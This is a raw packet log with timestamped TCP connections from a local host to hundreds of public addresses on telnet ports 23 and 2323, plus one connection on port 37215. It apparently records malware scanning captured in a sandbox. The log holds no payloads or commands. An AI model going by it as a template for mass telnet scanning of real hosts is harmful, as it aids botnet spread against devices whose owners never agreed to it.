Nov 3, 2024 15:33:14.406646013 CET	23	47042	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.406711102 CET	47042	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.407007933 CET	47044	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.411763906 CET	23	47042	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.411901951 CET	23	47044	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.411941051 CET	47044	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.419976950 CET	23	47044	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.420032978 CET	47044	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.420336008 CET	47046	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.425206900 CET	23	47044	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.425257921 CET	23	47046	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.425317049 CET	47046	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.430732012 CET	23	47046	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.430794954 CET	47046	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.431078911 CET	47048	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.435734987 CET	23	47046	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.435913086 CET	23	47048	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.435954094 CET	47048	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.442302942 CET	23	47048	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.442358971 CET	47048	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.442646980 CET	47050	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.447201014 CET	23	47048	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.447438955 CET	23	47050	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.447500944 CET	47050	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.453241110 CET	23	47050	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.453322887 CET	47050	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.453619003 CET	47052	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.458268881 CET	23	47050	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.458466053 CET	23	47052	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.458511114 CET	47052	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.464060068 CET	23	47052	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.464116096 CET	47052	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.464402914 CET	47054	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.469202042 CET	23	47052	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.469269037 CET	23	47054	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.469311953 CET	47054	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.475186110 CET	23	47054	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.475250959 CET	47054	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.475533962 CET	47056	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.480135918 CET	23	47054	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.480326891 CET	23	47056	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.480372906 CET	47056	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.486371994 CET	23	47056	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.486449003 CET	47056	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.486732960 CET	47058	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.491472006 CET	23	47056	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.492213011 CET	23	47058	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:14.492255926 CET	47058	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:14.648370981 CET	23	43620	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.648483038 CET	43620	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.648854017 CET	43672	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.653280973 CET	23	43620	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.653713942 CET	23	43672	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.653759003 CET	43672	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.658791065 CET	23	43672	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.658852100 CET	43672	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.659141064 CET	43674	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.663660049 CET	23	43672	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.663914919 CET	23	43674	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.663990974 CET	43674	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.669208050 CET	23	43674	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.669276953 CET	43674	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.669568062 CET	43676	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.674293041 CET	23	43674	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.674438000 CET	23	43676	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:14.674479961 CET	43676	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:14.892580986 CET	37215	32980	41.152.10.217	192.168.2.14
Nov 3, 2024 15:33:14.892658949 CET	32980	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:15.066739082 CET	23	46238	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:15.066857100 CET	46238	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:15.067218065 CET	47104	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:15.071732044 CET	23	46238	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:15.072207928 CET	23	47104	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:15.072257042 CET	47104	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:15.080765963 CET	23	37770	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:15.080835104 CET	37770	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:15.081152916 CET	38630	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:15.085669994 CET	23	37770	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:15.085974932 CET	23	38630	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:15.086019993 CET	38630	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:15.228626966 CET	37486	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:15.228630066 CET	47832	23	192.168.2.14	83.132.96.178
Nov 3, 2024 15:33:15.228630066 CET	44262	2323	192.168.2.14	86.164.13.141
Nov 3, 2024 15:33:15.228641987 CET	57760	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:15.228647947 CET	41588	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:15.228652000 CET	42280	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:15.228652000 CET	38684	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:15.228653908 CET	54440	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:15.228655100 CET	42806	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:15.233494997 CET	23	37486	68.152.187.162	192.168.2.14
Nov 3, 2024 15:33:15.233505964 CET	23	47832	83.132.96.178	192.168.2.14
Nov 3, 2024 15:33:15.233515024 CET	2323	44262	86.164.13.141	192.168.2.14
Nov 3, 2024 15:33:15.233542919 CET	37486	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:15.233556986 CET	47832	23	192.168.2.14	83.132.96.178
Nov 3, 2024 15:33:15.233556986 CET	44262	2323	192.168.2.14	86.164.13.141
Nov 3, 2024 15:33:15.233561039 CET	2323	57760	73.112.49.94	192.168.2.14
Nov 3, 2024 15:33:15.233571053 CET	23	41588	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:15.233580112 CET	23	54440	113.219.219.181	192.168.2.14
Nov 3, 2024 15:33:15.233597040 CET	57760	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:15.233603954 CET	41588	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:15.233613968 CET	54440	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:15.233648062 CET	4833	2323	192.168.2.14	196.96.225.86
Nov 3, 2024 15:33:15.233648062 CET	4833	23	192.168.2.14	57.47.87.138
Nov 3, 2024 15:33:15.233653069 CET	4833	23	192.168.2.14	118.193.232.135
Nov 3, 2024 15:33:15.233664989 CET	4833	23	192.168.2.14	57.178.212.51
Nov 3, 2024 15:33:15.233664989 CET	4833	23	192.168.2.14	5.43.0.187
Nov 3, 2024 15:33:15.233676910 CET	4833	23	192.168.2.14	88.128.142.102
Nov 3, 2024 15:33:15.233680010 CET	4833	23	192.168.2.14	119.66.222.20
Nov 3, 2024 15:33:15.233683109 CET	4833	23	192.168.2.14	97.192.147.179
Nov 3, 2024 15:33:15.233685970 CET	4833	23	192.168.2.14	2.221.106.240
Nov 3, 2024 15:33:15.233697891 CET	4833	23	192.168.2.14	197.239.236.55
Nov 3, 2024 15:33:15.233702898 CET	23	42280	63.104.212.7	192.168.2.14
Nov 3, 2024 15:33:15.233705044 CET	4833	23	192.168.2.14	166.9.203.112
Nov 3, 2024 15:33:15.233705044 CET	4833	2323	192.168.2.14	113.215.50.207
Nov 3, 2024 15:33:15.233712912 CET	23	42806	205.186.130.163	192.168.2.14
Nov 3, 2024 15:33:15.233721972 CET	23	38684	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:15.233722925 CET	4833	23	192.168.2.14	157.65.186.34
Nov 3, 2024 15:33:15.233722925 CET	4833	23	192.168.2.14	223.180.22.146
Nov 3, 2024 15:33:15.233726025 CET	4833	23	192.168.2.14	151.169.218.158
Nov 3, 2024 15:33:15.233742952 CET	42280	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:15.233748913 CET	4833	23	192.168.2.14	197.245.50.226
Nov 3, 2024 15:33:15.233750105 CET	38684	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:15.233752966 CET	42806	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:15.233772993 CET	4833	23	192.168.2.14	106.57.233.255
Nov 3, 2024 15:33:15.233772993 CET	4833	23	192.168.2.14	173.67.20.222
Nov 3, 2024 15:33:15.233772993 CET	4833	23	192.168.2.14	197.8.122.109
Nov 3, 2024 15:33:15.233773947 CET	4833	23	192.168.2.14	213.111.139.192
Nov 3, 2024 15:33:15.233772993 CET	4833	23	192.168.2.14	222.72.14.119
Nov 3, 2024 15:33:15.233772993 CET	4833	2323	192.168.2.14	63.213.221.62
Nov 3, 2024 15:33:15.233779907 CET	4833	23	192.168.2.14	100.18.32.55
Nov 3, 2024 15:33:15.233788967 CET	4833	23	192.168.2.14	193.179.123.197
Nov 3, 2024 15:33:15.233802080 CET	4833	23	192.168.2.14	2.5.195.47
Nov 3, 2024 15:33:15.233802080 CET	4833	23	192.168.2.14	34.82.213.105
Nov 3, 2024 15:33:15.233804941 CET	4833	23	192.168.2.14	133.178.80.122
Nov 3, 2024 15:33:15.233824015 CET	4833	23	192.168.2.14	83.99.221.136
Nov 3, 2024 15:33:15.233824968 CET	4833	23	192.168.2.14	142.92.182.36
Nov 3, 2024 15:33:15.233824968 CET	4833	23	192.168.2.14	195.192.108.88
Nov 3, 2024 15:33:15.233828068 CET	4833	2323	192.168.2.14	197.62.26.214
Nov 3, 2024 15:33:15.233838081 CET	4833	23	192.168.2.14	208.249.103.28
Nov 3, 2024 15:33:15.233838081 CET	4833	23	192.168.2.14	181.201.193.201
Nov 3, 2024 15:33:15.233838081 CET	4833	23	192.168.2.14	165.252.188.169
Nov 3, 2024 15:33:15.233838081 CET	4833	23	192.168.2.14	120.49.136.16
Nov 3, 2024 15:33:15.233841896 CET	4833	23	192.168.2.14	144.60.194.241
Nov 3, 2024 15:33:15.233845949 CET	4833	23	192.168.2.14	117.216.185.28
Nov 3, 2024 15:33:15.233845949 CET	4833	23	192.168.2.14	83.128.16.238
Nov 3, 2024 15:33:15.233851910 CET	4833	23	192.168.2.14	57.132.10.130
Nov 3, 2024 15:33:15.233855009 CET	4833	23	192.168.2.14	191.246.47.58
Nov 3, 2024 15:33:15.233865023 CET	4833	2323	192.168.2.14	148.2.244.145
Nov 3, 2024 15:33:15.233865976 CET	4833	23	192.168.2.14	158.165.141.87
Nov 3, 2024 15:33:15.233866930 CET	4833	23	192.168.2.14	72.234.49.106
Nov 3, 2024 15:33:15.233875036 CET	4833	23	192.168.2.14	177.3.99.161
Nov 3, 2024 15:33:15.233882904 CET	4833	23	192.168.2.14	54.138.67.26
Nov 3, 2024 15:33:15.233882904 CET	4833	23	192.168.2.14	85.96.0.255
Nov 3, 2024 15:33:15.233896017 CET	4833	23	192.168.2.14	178.128.75.170
Nov 3, 2024 15:33:15.233897924 CET	4833	23	192.168.2.14	112.87.146.13
Nov 3, 2024 15:33:15.233905077 CET	4833	23	192.168.2.14	42.44.100.7
Nov 3, 2024 15:33:15.233908892 CET	4833	23	192.168.2.14	119.221.127.163
Nov 3, 2024 15:33:15.233923912 CET	4833	2323	192.168.2.14	183.147.160.191
Nov 3, 2024 15:33:15.233927965 CET	4833	23	192.168.2.14	104.198.197.130
Nov 3, 2024 15:33:15.233928919 CET	4833	23	192.168.2.14	4.101.116.144
Nov 3, 2024 15:33:15.233928919 CET	4833	23	192.168.2.14	212.61.172.142
Nov 3, 2024 15:33:15.233939886 CET	4833	23	192.168.2.14	42.48.62.5
Nov 3, 2024 15:33:15.233939886 CET	4833	23	192.168.2.14	85.234.102.49
Nov 3, 2024 15:33:15.233942986 CET	4833	23	192.168.2.14	107.41.190.122
Nov 3, 2024 15:33:15.233952045 CET	4833	23	192.168.2.14	108.188.37.176
Nov 3, 2024 15:33:15.233962059 CET	4833	23	192.168.2.14	161.98.251.26
Nov 3, 2024 15:33:15.233972073 CET	4833	2323	192.168.2.14	156.129.234.240
Nov 3, 2024 15:33:15.233974934 CET	4833	23	192.168.2.14	147.16.225.101
Nov 3, 2024 15:33:15.233974934 CET	4833	23	192.168.2.14	1.207.217.181
Nov 3, 2024 15:33:15.233980894 CET	4833	23	192.168.2.14	208.238.92.8
Nov 3, 2024 15:33:15.233989000 CET	4833	23	192.168.2.14	181.253.178.58
Nov 3, 2024 15:33:15.233995914 CET	4833	23	192.168.2.14	123.250.133.79
Nov 3, 2024 15:33:15.234002113 CET	4833	23	192.168.2.14	142.221.201.165
Nov 3, 2024 15:33:15.234003067 CET	4833	23	192.168.2.14	27.184.30.152
Nov 3, 2024 15:33:15.234003067 CET	4833	23	192.168.2.14	88.227.67.171
Nov 3, 2024 15:33:15.234019995 CET	4833	23	192.168.2.14	32.121.225.254
Nov 3, 2024 15:33:15.234026909 CET	4833	23	192.168.2.14	152.121.151.14
Nov 3, 2024 15:33:15.234026909 CET	4833	2323	192.168.2.14	80.16.201.78
Nov 3, 2024 15:33:15.234033108 CET	4833	23	192.168.2.14	222.253.229.81
Nov 3, 2024 15:33:15.234033108 CET	4833	23	192.168.2.14	223.52.35.147
Nov 3, 2024 15:33:15.234047890 CET	4833	23	192.168.2.14	160.227.84.76
Nov 3, 2024 15:33:15.234050989 CET	4833	23	192.168.2.14	32.88.58.36
Nov 3, 2024 15:33:15.234050989 CET	4833	23	192.168.2.14	88.58.168.218
Nov 3, 2024 15:33:15.234054089 CET	4833	23	192.168.2.14	166.138.72.129
Nov 3, 2024 15:33:15.234060049 CET	4833	23	192.168.2.14	161.230.204.178
Nov 3, 2024 15:33:15.234062910 CET	4833	23	192.168.2.14	175.111.185.218
Nov 3, 2024 15:33:15.234066963 CET	4833	23	192.168.2.14	39.29.149.111
Nov 3, 2024 15:33:15.234066963 CET	4833	2323	192.168.2.14	32.151.19.128
Nov 3, 2024 15:33:15.234069109 CET	4833	23	192.168.2.14	206.127.242.168
Nov 3, 2024 15:33:15.234081030 CET	4833	23	192.168.2.14	176.156.14.24
Nov 3, 2024 15:33:15.234081030 CET	4833	23	192.168.2.14	146.178.76.181
Nov 3, 2024 15:33:15.234081030 CET	4833	23	192.168.2.14	191.224.123.82
Nov 3, 2024 15:33:15.234088898 CET	4833	23	192.168.2.14	108.134.58.70
Nov 3, 2024 15:33:15.234091997 CET	4833	23	192.168.2.14	207.192.242.209
Nov 3, 2024 15:33:15.234107971 CET	4833	2323	192.168.2.14	111.253.145.147
Nov 3, 2024 15:33:15.234107971 CET	4833	23	192.168.2.14	18.243.238.21
Nov 3, 2024 15:33:15.234110117 CET	4833	23	192.168.2.14	211.97.245.3
Nov 3, 2024 15:33:15.234117031 CET	4833	23	192.168.2.14	160.82.170.222
Nov 3, 2024 15:33:15.234118938 CET	4833	23	192.168.2.14	117.197.80.81
Nov 3, 2024 15:33:15.234121084 CET	4833	23	192.168.2.14	151.237.16.245
Nov 3, 2024 15:33:15.234126091 CET	4833	23	192.168.2.14	123.44.81.229
Nov 3, 2024 15:33:15.234126091 CET	4833	23	192.168.2.14	81.227.196.152
Nov 3, 2024 15:33:15.234126091 CET	4833	23	192.168.2.14	165.236.82.170
Nov 3, 2024 15:33:15.234128952 CET	4833	23	192.168.2.14	75.189.251.169
Nov 3, 2024 15:33:15.234132051 CET	4833	23	192.168.2.14	68.49.163.161
Nov 3, 2024 15:33:15.234132051 CET	4833	2323	192.168.2.14	176.96.68.119
Nov 3, 2024 15:33:15.234137058 CET	4833	23	192.168.2.14	82.88.103.48
Nov 3, 2024 15:33:15.234141111 CET	4833	23	192.168.2.14	117.195.8.130
Nov 3, 2024 15:33:15.234142065 CET	4833	23	192.168.2.14	183.219.242.194
Nov 3, 2024 15:33:15.234142065 CET	4833	23	192.168.2.14	5.119.237.189
Nov 3, 2024 15:33:15.234154940 CET	4833	23	192.168.2.14	112.170.190.137
Nov 3, 2024 15:33:15.234158039 CET	4833	23	192.168.2.14	182.245.163.250
Nov 3, 2024 15:33:15.234158039 CET	4833	23	192.168.2.14	114.111.79.173
Nov 3, 2024 15:33:15.234164953 CET	4833	23	192.168.2.14	133.222.163.250
Nov 3, 2024 15:33:15.234174967 CET	4833	23	192.168.2.14	74.77.63.183
Nov 3, 2024 15:33:15.234174967 CET	4833	23	192.168.2.14	188.117.43.8
Nov 3, 2024 15:33:15.234179020 CET	4833	23	192.168.2.14	40.25.13.14
Nov 3, 2024 15:33:15.234179020 CET	4833	2323	192.168.2.14	95.26.170.28
Nov 3, 2024 15:33:15.234191895 CET	4833	23	192.168.2.14	172.64.90.164
Nov 3, 2024 15:33:15.234201908 CET	4833	23	192.168.2.14	211.2.167.208
Nov 3, 2024 15:33:15.234201908 CET	4833	23	192.168.2.14	13.107.171.3
Nov 3, 2024 15:33:15.234211922 CET	4833	23	192.168.2.14	191.149.182.43
Nov 3, 2024 15:33:15.234210968 CET	4833	23	192.168.2.14	105.244.124.166
Nov 3, 2024 15:33:15.234210968 CET	4833	23	192.168.2.14	68.174.94.36
Nov 3, 2024 15:33:15.234220028 CET	4833	23	192.168.2.14	102.158.218.10
Nov 3, 2024 15:33:15.234220982 CET	4833	23	192.168.2.14	186.44.42.97
Nov 3, 2024 15:33:15.234220028 CET	4833	23	192.168.2.14	193.140.11.97
Nov 3, 2024 15:33:15.234227896 CET	4833	2323	192.168.2.14	113.186.116.10
Nov 3, 2024 15:33:15.234230042 CET	4833	23	192.168.2.14	71.224.194.54
Nov 3, 2024 15:33:15.234241962 CET	4833	23	192.168.2.14	172.59.246.245
Nov 3, 2024 15:33:15.234241962 CET	4833	23	192.168.2.14	180.238.102.63
Nov 3, 2024 15:33:15.234245062 CET	4833	23	192.168.2.14	139.169.3.100
Nov 3, 2024 15:33:15.234262943 CET	4833	23	192.168.2.14	111.134.236.1
Nov 3, 2024 15:33:15.234263897 CET	4833	23	192.168.2.14	136.129.39.15
Nov 3, 2024 15:33:15.234263897 CET	4833	23	192.168.2.14	96.131.1.125
Nov 3, 2024 15:33:15.234266043 CET	4833	23	192.168.2.14	46.164.109.205
Nov 3, 2024 15:33:15.234266996 CET	4833	23	192.168.2.14	60.208.235.91
Nov 3, 2024 15:33:15.234266043 CET	4833	23	192.168.2.14	167.177.141.20
Nov 3, 2024 15:33:15.234266996 CET	4833	2323	192.168.2.14	80.70.48.206
Nov 3, 2024 15:33:15.234271049 CET	4833	23	192.168.2.14	57.142.1.200
Nov 3, 2024 15:33:15.234272957 CET	4833	23	192.168.2.14	221.230.96.242
Nov 3, 2024 15:33:15.234266996 CET	4833	23	192.168.2.14	86.86.32.252
Nov 3, 2024 15:33:15.234280109 CET	4833	23	192.168.2.14	40.99.171.183
Nov 3, 2024 15:33:15.234288931 CET	4833	23	192.168.2.14	165.40.248.92
Nov 3, 2024 15:33:15.234288931 CET	4833	23	192.168.2.14	65.124.159.203
Nov 3, 2024 15:33:15.234324932 CET	4833	23	192.168.2.14	219.252.220.85
Nov 3, 2024 15:33:15.234325886 CET	4833	23	192.168.2.14	166.99.32.103
Nov 3, 2024 15:33:15.234345913 CET	4833	2323	192.168.2.14	74.201.137.141
Nov 3, 2024 15:33:15.234349012 CET	4833	23	192.168.2.14	145.82.86.149
Nov 3, 2024 15:33:15.234359026 CET	4833	23	192.168.2.14	38.253.230.93
Nov 3, 2024 15:33:15.234364033 CET	4833	23	192.168.2.14	35.58.100.156
Nov 3, 2024 15:33:15.234366894 CET	4833	23	192.168.2.14	36.238.3.25
Nov 3, 2024 15:33:15.234375954 CET	4833	23	192.168.2.14	48.102.27.193
Nov 3, 2024 15:33:15.234385967 CET	4833	23	192.168.2.14	5.155.94.133
Nov 3, 2024 15:33:15.234386921 CET	4833	23	192.168.2.14	102.203.107.124
Nov 3, 2024 15:33:15.234386921 CET	4833	2323	192.168.2.14	182.76.72.139
Nov 3, 2024 15:33:15.234388113 CET	4833	23	192.168.2.14	117.21.216.223
Nov 3, 2024 15:33:15.234388113 CET	4833	23	192.168.2.14	151.26.116.67
Nov 3, 2024 15:33:15.234394073 CET	4833	23	192.168.2.14	179.38.211.63
Nov 3, 2024 15:33:15.234396935 CET	4833	23	192.168.2.14	168.6.95.82
Nov 3, 2024 15:33:15.234397888 CET	4833	23	192.168.2.14	65.2.36.70
Nov 3, 2024 15:33:15.234401941 CET	4833	23	192.168.2.14	97.166.81.189
Nov 3, 2024 15:33:15.234402895 CET	4833	23	192.168.2.14	125.73.1.17
Nov 3, 2024 15:33:15.234405041 CET	4833	23	192.168.2.14	105.172.96.246
Nov 3, 2024 15:33:15.234412909 CET	4833	23	192.168.2.14	93.172.226.28
Nov 3, 2024 15:33:15.234415054 CET	4833	23	192.168.2.14	92.45.85.183
Nov 3, 2024 15:33:15.234419107 CET	4833	23	192.168.2.14	179.116.11.245
Nov 3, 2024 15:33:15.234818935 CET	39706	23	192.168.2.14	79.216.36.37
Nov 3, 2024 15:33:15.235472918 CET	52846	23	192.168.2.14	179.163.235.223
Nov 3, 2024 15:33:15.236119032 CET	47860	23	192.168.2.14	169.179.201.140
Nov 3, 2024 15:33:15.236774921 CET	54432	23	192.168.2.14	115.167.223.205
Nov 3, 2024 15:33:15.237432957 CET	51750	23	192.168.2.14	76.19.127.181
Nov 3, 2024 15:33:15.238698006 CET	23	4833	57.47.87.138	192.168.2.14
Nov 3, 2024 15:33:15.238708019 CET	23	4833	118.193.232.135	192.168.2.14
Nov 3, 2024 15:33:15.238715887 CET	2323	4833	196.96.225.86	192.168.2.14
Nov 3, 2024 15:33:15.238730907 CET	23	4833	57.178.212.51	192.168.2.14
Nov 3, 2024 15:33:15.238738060 CET	23	4833	5.43.0.187	192.168.2.14
Nov 3, 2024 15:33:15.238745928 CET	4833	23	192.168.2.14	57.47.87.138
Nov 3, 2024 15:33:15.238746881 CET	23	4833	119.66.222.20	192.168.2.14
Nov 3, 2024 15:33:15.238754988 CET	4833	2323	192.168.2.14	196.96.225.86
Nov 3, 2024 15:33:15.238755941 CET	4833	23	192.168.2.14	118.193.232.135
Nov 3, 2024 15:33:15.238763094 CET	4833	23	192.168.2.14	57.178.212.51
Nov 3, 2024 15:33:15.238776922 CET	4833	23	192.168.2.14	5.43.0.187
Nov 3, 2024 15:33:15.238782883 CET	4833	23	192.168.2.14	119.66.222.20
Nov 3, 2024 15:33:15.238810062 CET	23	4833	88.128.142.102	192.168.2.14
Nov 3, 2024 15:33:15.238817930 CET	23	4833	97.192.147.179	192.168.2.14
Nov 3, 2024 15:33:15.238825083 CET	23	4833	2.221.106.240	192.168.2.14
Nov 3, 2024 15:33:15.238832951 CET	23	4833	197.239.236.55	192.168.2.14
Nov 3, 2024 15:33:15.238841057 CET	23	4833	166.9.203.112	192.168.2.14
Nov 3, 2024 15:33:15.238845110 CET	4833	23	192.168.2.14	88.128.142.102
Nov 3, 2024 15:33:15.238848925 CET	2323	4833	113.215.50.207	192.168.2.14
Nov 3, 2024 15:33:15.238854885 CET	4833	23	192.168.2.14	2.221.106.240
Nov 3, 2024 15:33:15.238857031 CET	4833	23	192.168.2.14	97.192.147.179
Nov 3, 2024 15:33:15.238862991 CET	23	4833	157.65.186.34	192.168.2.14
Nov 3, 2024 15:33:15.238874912 CET	4833	23	192.168.2.14	197.239.236.55
Nov 3, 2024 15:33:15.238878012 CET	4833	2323	192.168.2.14	113.215.50.207
Nov 3, 2024 15:33:15.238878965 CET	4833	23	192.168.2.14	166.9.203.112
Nov 3, 2024 15:33:15.238903046 CET	4833	23	192.168.2.14	157.65.186.34
Nov 3, 2024 15:33:15.239346981 CET	23	4833	151.169.218.158	192.168.2.14
Nov 3, 2024 15:33:15.239389896 CET	4833	23	192.168.2.14	151.169.218.158
Nov 3, 2024 15:33:15.239393950 CET	23	4833	223.180.22.146	192.168.2.14
Nov 3, 2024 15:33:15.239403009 CET	23	4833	197.245.50.226	192.168.2.14
Nov 3, 2024 15:33:15.239411116 CET	23	4833	173.67.20.222	192.168.2.14
Nov 3, 2024 15:33:15.239427090 CET	4833	23	192.168.2.14	197.245.50.226
Nov 3, 2024 15:33:15.239433050 CET	4833	23	192.168.2.14	173.67.20.222
Nov 3, 2024 15:33:15.239433050 CET	4833	23	192.168.2.14	223.180.22.146
Nov 3, 2024 15:33:15.239512920 CET	23	4833	213.111.139.192	192.168.2.14
Nov 3, 2024 15:33:15.239522934 CET	23	4833	106.57.233.255	192.168.2.14
Nov 3, 2024 15:33:15.239531040 CET	23	4833	100.18.32.55	192.168.2.14
Nov 3, 2024 15:33:15.239538908 CET	23	4833	197.8.122.109	192.168.2.14
Nov 3, 2024 15:33:15.239546061 CET	23	4833	222.72.14.119	192.168.2.14
Nov 3, 2024 15:33:15.239550114 CET	4833	23	192.168.2.14	213.111.139.192
Nov 3, 2024 15:33:15.239554882 CET	2323	4833	63.213.221.62	192.168.2.14
Nov 3, 2024 15:33:15.239558935 CET	4833	23	192.168.2.14	106.57.233.255
Nov 3, 2024 15:33:15.239561081 CET	4833	23	192.168.2.14	100.18.32.55
Nov 3, 2024 15:33:15.239564896 CET	23	4833	193.179.123.197	192.168.2.14
Nov 3, 2024 15:33:15.239567041 CET	4833	23	192.168.2.14	197.8.122.109
Nov 3, 2024 15:33:15.239574909 CET	23	4833	2.5.195.47	192.168.2.14
Nov 3, 2024 15:33:15.239579916 CET	4833	23	192.168.2.14	222.72.14.119
Nov 3, 2024 15:33:15.239579916 CET	4833	2323	192.168.2.14	63.213.221.62
Nov 3, 2024 15:33:15.239583969 CET	23	4833	34.82.213.105	192.168.2.14
Nov 3, 2024 15:33:15.239588976 CET	4833	23	192.168.2.14	193.179.123.197
Nov 3, 2024 15:33:15.239595890 CET	23	4833	133.178.80.122	192.168.2.14
Nov 3, 2024 15:33:15.239605904 CET	23	4833	83.99.221.136	192.168.2.14
Nov 3, 2024 15:33:15.239613056 CET	4833	23	192.168.2.14	2.5.195.47
Nov 3, 2024 15:33:15.239614964 CET	23	4833	195.192.108.88	192.168.2.14
Nov 3, 2024 15:33:15.239614964 CET	4833	23	192.168.2.14	34.82.213.105
Nov 3, 2024 15:33:15.239623070 CET	23	4833	142.92.182.36	192.168.2.14
Nov 3, 2024 15:33:15.239629984 CET	4833	23	192.168.2.14	83.99.221.136
Nov 3, 2024 15:33:15.239630938 CET	2323	4833	197.62.26.214	192.168.2.14
Nov 3, 2024 15:33:15.239630938 CET	4833	23	192.168.2.14	133.178.80.122
Nov 3, 2024 15:33:15.239634037 CET	23	4833	165.252.188.169	192.168.2.14
Nov 3, 2024 15:33:15.239643097 CET	23	4833	181.201.193.201	192.168.2.14
Nov 3, 2024 15:33:15.239650011 CET	23	4833	144.60.194.241	192.168.2.14
Nov 3, 2024 15:33:15.239655018 CET	4833	23	192.168.2.14	195.192.108.88
Nov 3, 2024 15:33:15.239658117 CET	23	4833	208.249.103.28	192.168.2.14
Nov 3, 2024 15:33:15.239660978 CET	4833	23	192.168.2.14	142.92.182.36
Nov 3, 2024 15:33:15.239666939 CET	23	4833	120.49.136.16	192.168.2.14
Nov 3, 2024 15:33:15.239667892 CET	4833	23	192.168.2.14	165.252.188.169
Nov 3, 2024 15:33:15.239674091 CET	4833	2323	192.168.2.14	197.62.26.214
